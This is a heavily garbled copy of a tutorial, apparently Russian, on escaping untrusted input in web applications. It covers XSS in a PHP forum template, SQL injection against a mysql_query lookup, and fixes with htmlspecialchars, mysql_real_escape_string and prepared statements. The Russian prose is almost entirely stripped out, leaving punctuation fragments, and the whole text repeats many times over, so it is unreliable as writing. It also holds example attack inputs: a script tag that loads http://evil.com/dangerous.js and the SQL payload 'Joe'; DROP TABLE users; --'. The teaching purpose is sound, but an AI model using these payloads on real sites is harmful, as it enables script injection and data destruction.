 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
